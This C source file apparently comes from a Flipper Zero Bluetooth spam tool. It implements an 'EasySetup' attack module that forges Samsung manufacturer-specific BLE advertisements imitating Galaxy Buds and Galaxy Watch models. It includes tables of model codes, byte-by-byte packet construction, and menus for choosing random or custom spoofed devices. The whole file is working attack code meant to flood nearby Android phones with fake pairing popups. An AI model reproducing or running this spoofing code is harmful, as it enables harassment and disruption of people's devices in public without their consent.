easysetup.c 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498
  1. #include "easysetup.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Research by @Spooks4576
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } buds_models[] = {
  9. {0xEE7A0C, "Fallback Buds"},
  10. {0x9D1700, "Fallback Dots"},
  11. {0x39EA48, "Light Purple Buds2"},
  12. {0xA7C62C, "Bluish Silver Buds2"},
  13. {0x850116, "Black Buds Live"},
  14. {0x3D8F41, "Gray & Black Buds2"},
  15. {0x3B6D02, "Bluish Chrome Buds2"},
  16. {0xAE063C, "Gray Beige Buds2"},
  17. {0xB8B905, "Pure White Buds"},
  18. {0xEAAA17, "Pure White Buds2"},
  19. {0xD30704, "Black Buds"},
  20. {0x9DB006, "French Flag Buds"},
  21. {0x101F1A, "Dark Purple Buds Live"},
  22. {0x859608, "Dark Blue Buds"},
  23. {0x8E4503, "Pink Buds"},
  24. {0x2C6740, "White & Black Buds2"},
  25. {0x3F6718, "Bronze Buds Live"},
  26. {0x42C519, "Red Buds Live"},
  27. {0xAE073A, "Black & White Buds2"},
  28. {0x011716, "Sleek Black Buds2"},
  29. };
  30. const uint8_t buds_models_count = COUNT_OF(buds_models);
  31. const struct {
  32. uint8_t value;
  33. const char* name;
  34. } watch_models[] = {
  35. {0x1A, "Fallback Watch"},
  36. {0x01, "White Watch4 Classic 44"},
  37. {0x02, "Black Watch4 Classic 40"},
  38. {0x03, "White Watch4 Classic 40"},
  39. {0x04, "Black Watch4 44mm"},
  40. {0x05, "Silver Watch4 44mm"},
  41. {0x06, "Green Watch4 44mm"},
  42. {0x07, "Black Watch4 40mm"},
  43. {0x08, "White Watch4 40mm"},
  44. {0x09, "Gold Watch4 40mm"},
  45. {0x0A, "French Watch4"},
  46. {0x0B, "French Watch4 Classic"},
  47. {0x0C, "Fox Watch5 44mm"},
  48. {0x11, "Black Watch5 44mm"},
  49. {0x12, "Sapphire Watch5 44mm"},
  50. {0x13, "Purpleish Watch5 40mm"},
  51. {0x14, "Gold Watch5 40mm"},
  52. {0x15, "Black Watch5 Pro 45mm"},
  53. {0x16, "Gray Watch5 Pro 45mm"},
  54. {0x17, "White Watch5 44mm"},
  55. {0x18, "White & Black Watch5"},
  56. {0x1B, "Black Watch6 Pink 40mm"},
  57. {0x1C, "Gold Watch6 Gold 40mm"},
  58. {0x1D, "Silver Watch6 Cyan 44mm"},
  59. {0x1E, "Black Watch6 Classic 43mm"},
  60. {0x20, "Green Watch6 Classic 43mm"},
  61. };
  62. const uint8_t watch_models_count = COUNT_OF(watch_models);
  63. static const char* type_names[EasysetupTypeCOUNT] = {
  64. [EasysetupTypeBuds] = "EasySetup Buds",
  65. [EasysetupTypeWatch] = "EasySetup Watch",
  66. };
  67. static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
  68. const EasysetupCfg* cfg = &_cfg->easysetup;
  69. return type_names[cfg->type];
  70. }
  71. static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
  72. [EasysetupTypeBuds] = 31,
  73. [EasysetupTypeWatch] = 15,
  74. };
  75. void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
  76. const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
  77. EasysetupType type;
  78. if(cfg) {
  79. type = cfg->type;
  80. } else {
  81. type = rand() % EasysetupTypeCOUNT;
  82. }
  83. uint8_t size = packet_sizes[type];
  84. uint8_t* packet = malloc(size);
  85. uint8_t i = 0;
  86. switch(type) {
  87. case EasysetupTypeBuds: {
  88. uint32_t model;
  89. if(cfg && cfg->data.buds.model != 0x000000) {
  90. model = cfg->data.buds.model;
  91. } else {
  92. model = buds_models[rand() % buds_models_count].value;
  93. }
  94. packet[i++] = 27; // Size
  95. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  96. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  97. packet[i++] = 0x00; // ...
  98. packet[i++] = 0x42;
  99. packet[i++] = 0x09;
  100. packet[i++] = 0x81;
  101. packet[i++] = 0x02;
  102. packet[i++] = 0x14;
  103. packet[i++] = 0x15;
  104. packet[i++] = 0x03;
  105. packet[i++] = 0x21;
  106. packet[i++] = 0x01;
  107. packet[i++] = 0x09;
  108. packet[i++] = (model >> 0x10) & 0xFF;
  109. packet[i++] = (model >> 0x08) & 0xFF;
  110. packet[i++] = 0x01;
  111. packet[i++] = (model >> 0x00) & 0xFF;
  112. packet[i++] = 0x06;
  113. packet[i++] = 0x3C;
  114. packet[i++] = 0x94;
  115. packet[i++] = 0x8E;
  116. packet[i++] = 0x00;
  117. packet[i++] = 0x00;
  118. packet[i++] = 0x00;
  119. packet[i++] = 0x00;
  120. packet[i++] = 0xC7;
  121. packet[i++] = 0x00;
  122. packet[i++] = 16; // Size
  123. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  124. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  125. // Truncated AD segment, Android seems to fill in the rest with zeros
  126. break;
  127. }
  128. case EasysetupTypeWatch: {
  129. uint8_t model;
  130. if(cfg && cfg->data.watch.model != 0x00) {
  131. model = cfg->data.watch.model;
  132. } else {
  133. model = watch_models[rand() % watch_models_count].value;
  134. }
  135. packet[i++] = 14; // Size
  136. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  137. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  138. packet[i++] = 0x00; // ...
  139. packet[i++] = 0x01;
  140. packet[i++] = 0x00;
  141. packet[i++] = 0x02;
  142. packet[i++] = 0x00;
  143. packet[i++] = 0x01;
  144. packet[i++] = 0x01;
  145. packet[i++] = 0xFF;
  146. packet[i++] = 0x00;
  147. packet[i++] = 0x00;
  148. packet[i++] = 0x43;
  149. packet[i++] = (model >> 0x00) & 0xFF;
  150. break;
  151. }
  152. default:
  153. break;
  154. }
  155. *out_size = size;
  156. *out_packet = packet;
  157. }
  158. enum {
  159. _ConfigBudsExtraStart = ConfigExtraStart,
  160. ConfigBudsModel,
  161. ConfigBudsInfoVersion,
  162. ConfigBudsCOUNT,
  163. };
  164. enum {
  165. _ConfigWatchExtraStart = ConfigExtraStart,
  166. ConfigWatchModel,
  167. ConfigWatchCOUNT,
  168. };
  169. static void config_callback(void* _ctx, uint32_t index) {
  170. Ctx* ctx = _ctx;
  171. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  172. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  173. switch(cfg->type) {
  174. case EasysetupTypeBuds: {
  175. switch(index) {
  176. case ConfigBudsModel:
  177. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
  178. break;
  179. case ConfigBudsInfoVersion:
  180. break;
  181. default:
  182. ctx->fallback_config_enter(ctx, index);
  183. break;
  184. }
  185. break;
  186. }
  187. case EasysetupTypeWatch: {
  188. switch(index) {
  189. case ConfigWatchModel:
  190. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
  191. break;
  192. default:
  193. ctx->fallback_config_enter(ctx, index);
  194. break;
  195. }
  196. break;
  197. }
  198. default:
  199. ctx->fallback_config_enter(ctx, index);
  200. break;
  201. }
  202. }
  203. static void buds_model_changed(VariableItem* item) {
  204. EasysetupCfg* cfg = variable_item_get_context(item);
  205. uint8_t index = variable_item_get_current_value_index(item);
  206. if(index) {
  207. index--;
  208. cfg->data.buds.model = buds_models[index].value;
  209. variable_item_set_current_value_text(item, buds_models[index].name);
  210. } else {
  211. cfg->data.buds.model = 0x000000;
  212. variable_item_set_current_value_text(item, "Random");
  213. }
  214. }
  215. static void watch_model_changed(VariableItem* item) {
  216. EasysetupCfg* cfg = variable_item_get_context(item);
  217. uint8_t index = variable_item_get_current_value_index(item);
  218. if(index) {
  219. index--;
  220. cfg->data.watch.model = watch_models[index].value;
  221. variable_item_set_current_value_text(item, watch_models[index].name);
  222. } else {
  223. cfg->data.watch.model = 0x00;
  224. variable_item_set_current_value_text(item, "Random");
  225. }
  226. }
  227. static void easysetup_extra_config(Ctx* ctx) {
  228. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  229. VariableItemList* list = ctx->variable_item_list;
  230. VariableItem* item;
  231. size_t value_index;
  232. switch(cfg->type) {
  233. case EasysetupTypeBuds: {
  234. item = variable_item_list_add(
  235. list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
  236. const char* model_name = NULL;
  237. char model_name_buf[9];
  238. if(cfg->data.buds.model == 0x000000) {
  239. model_name = "Random";
  240. value_index = 0;
  241. } else {
  242. for(uint8_t i = 0; i < buds_models_count; i++) {
  243. if(cfg->data.buds.model == buds_models[i].value) {
  244. model_name = buds_models[i].name;
  245. value_index = i + 1;
  246. break;
  247. }
  248. }
  249. if(!model_name) {
  250. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
  251. model_name = model_name_buf;
  252. value_index = buds_models_count + 1;
  253. }
  254. }
  255. variable_item_set_current_value_index(item, value_index);
  256. variable_item_set_current_value_text(item, model_name);
  257. variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
  258. break;
  259. }
  260. case EasysetupTypeWatch: {
  261. item = variable_item_list_add(
  262. list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
  263. const char* model_name = NULL;
  264. char model_name_buf[3];
  265. if(cfg->data.watch.model == 0x00) {
  266. model_name = "Random";
  267. value_index = 0;
  268. } else {
  269. for(uint8_t i = 0; i < watch_models_count; i++) {
  270. if(cfg->data.watch.model == watch_models[i].value) {
  271. model_name = watch_models[i].name;
  272. value_index = i + 1;
  273. break;
  274. }
  275. }
  276. if(!model_name) {
  277. snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
  278. model_name = model_name_buf;
  279. value_index = watch_models_count + 1;
  280. }
  281. }
  282. variable_item_set_current_value_index(item, value_index);
  283. variable_item_set_current_value_text(item, model_name);
  284. break;
  285. }
  286. default:
  287. break;
  288. }
  289. variable_item_list_set_enter_callback(list, config_callback, ctx);
  290. }
  291. static uint8_t config_counts[EasysetupTypeCOUNT] = {
  292. [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
  293. [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
  294. };
  295. static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
  296. const EasysetupCfg* cfg = &_cfg->easysetup;
  297. return config_counts[cfg->type];
  298. }
  299. const Protocol protocol_easysetup = {
  300. .icon = &I_android,
  301. .get_name = easysetup_get_name,
  302. .make_packet = easysetup_make_packet,
  303. .extra_config = easysetup_extra_config,
  304. .config_count = easysetup_config_count,
  305. };
  306. static void buds_model_callback(void* _ctx, uint32_t index) {
  307. Ctx* ctx = _ctx;
  308. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  309. switch(index) {
  310. case 0:
  311. cfg->data.buds.model = 0x000000;
  312. scene_manager_previous_scene(ctx->scene_manager);
  313. break;
  314. case buds_models_count + 1:
  315. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
  316. break;
  317. default:
  318. cfg->data.buds.model = buds_models[index - 1].value;
  319. scene_manager_previous_scene(ctx->scene_manager);
  320. break;
  321. }
  322. }
  323. void scene_easysetup_buds_model_on_enter(void* _ctx) {
  324. Ctx* ctx = _ctx;
  325. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  326. Submenu* submenu = ctx->submenu;
  327. uint32_t selected = 0;
  328. bool found = false;
  329. submenu_reset(submenu);
  330. submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
  331. if(cfg->data.buds.model == 0x000000) {
  332. found = true;
  333. selected = 0;
  334. }
  335. for(uint8_t i = 0; i < buds_models_count; i++) {
  336. submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
  337. if(!found && cfg->data.buds.model == buds_models[i].value) {
  338. found = true;
  339. selected = i + 1;
  340. }
  341. }
  342. submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
  343. if(!found) {
  344. found = true;
  345. selected = buds_models_count + 1;
  346. }
  347. submenu_set_selected_item(submenu, selected);
  348. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  349. }
  350. bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
  351. UNUSED(_ctx);
  352. UNUSED(event);
  353. return false;
  354. }
  355. void scene_easysetup_buds_model_on_exit(void* _ctx) {
  356. UNUSED(_ctx);
  357. }
  358. static void buds_model_custom_callback(void* _ctx) {
  359. Ctx* ctx = _ctx;
  360. scene_manager_previous_scene(ctx->scene_manager);
  361. scene_manager_previous_scene(ctx->scene_manager);
  362. }
  363. void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
  364. Ctx* ctx = _ctx;
  365. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  366. ByteInput* byte_input = ctx->byte_input;
  367. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  368. ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
  369. ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
  370. ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
  371. byte_input_set_result_callback(
  372. byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  373. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  374. }
  375. bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  376. UNUSED(_ctx);
  377. UNUSED(event);
  378. return false;
  379. }
  380. void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
  381. Ctx* ctx = _ctx;
  382. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  383. cfg->data.buds.model =
  384. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  385. }
  386. static void watch_model_callback(void* _ctx, uint32_t index) {
  387. Ctx* ctx = _ctx;
  388. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  389. switch(index) {
  390. case 0:
  391. cfg->data.watch.model = 0x00;
  392. scene_manager_previous_scene(ctx->scene_manager);
  393. break;
  394. case watch_models_count + 1:
  395. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
  396. break;
  397. default:
  398. cfg->data.watch.model = watch_models[index - 1].value;
  399. scene_manager_previous_scene(ctx->scene_manager);
  400. break;
  401. }
  402. }
  403. void scene_easysetup_watch_model_on_enter(void* _ctx) {
  404. Ctx* ctx = _ctx;
  405. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  406. Submenu* submenu = ctx->submenu;
  407. uint32_t selected = 0;
  408. bool found = false;
  409. submenu_reset(submenu);
  410. submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
  411. if(cfg->data.watch.model == 0x00) {
  412. found = true;
  413. selected = 0;
  414. }
  415. for(uint8_t i = 0; i < watch_models_count; i++) {
  416. submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
  417. if(!found && cfg->data.watch.model == watch_models[i].value) {
  418. found = true;
  419. selected = i + 1;
  420. }
  421. }
  422. submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
  423. if(!found) {
  424. found = true;
  425. selected = watch_models_count + 1;
  426. }
  427. submenu_set_selected_item(submenu, selected);
  428. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  429. }
  430. bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
  431. UNUSED(_ctx);
  432. UNUSED(event);
  433. return false;
  434. }
  435. void scene_easysetup_watch_model_on_exit(void* _ctx) {
  436. UNUSED(_ctx);
  437. }
  438. static void watch_model_custom_callback(void* _ctx) {
  439. Ctx* ctx = _ctx;
  440. scene_manager_previous_scene(ctx->scene_manager);
  441. scene_manager_previous_scene(ctx->scene_manager);
  442. }
  443. void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
  444. Ctx* ctx = _ctx;
  445. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  446. ByteInput* byte_input = ctx->byte_input;
  447. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  448. ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
  449. byte_input_set_result_callback(
  450. byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  451. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  452. }
  453. bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  454. UNUSED(_ctx);
  455. UNUSED(event);
  456. return false;
  457. }
  458. void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
  459. Ctx* ctx = _ctx;
  460. EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
  461. cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
  462. }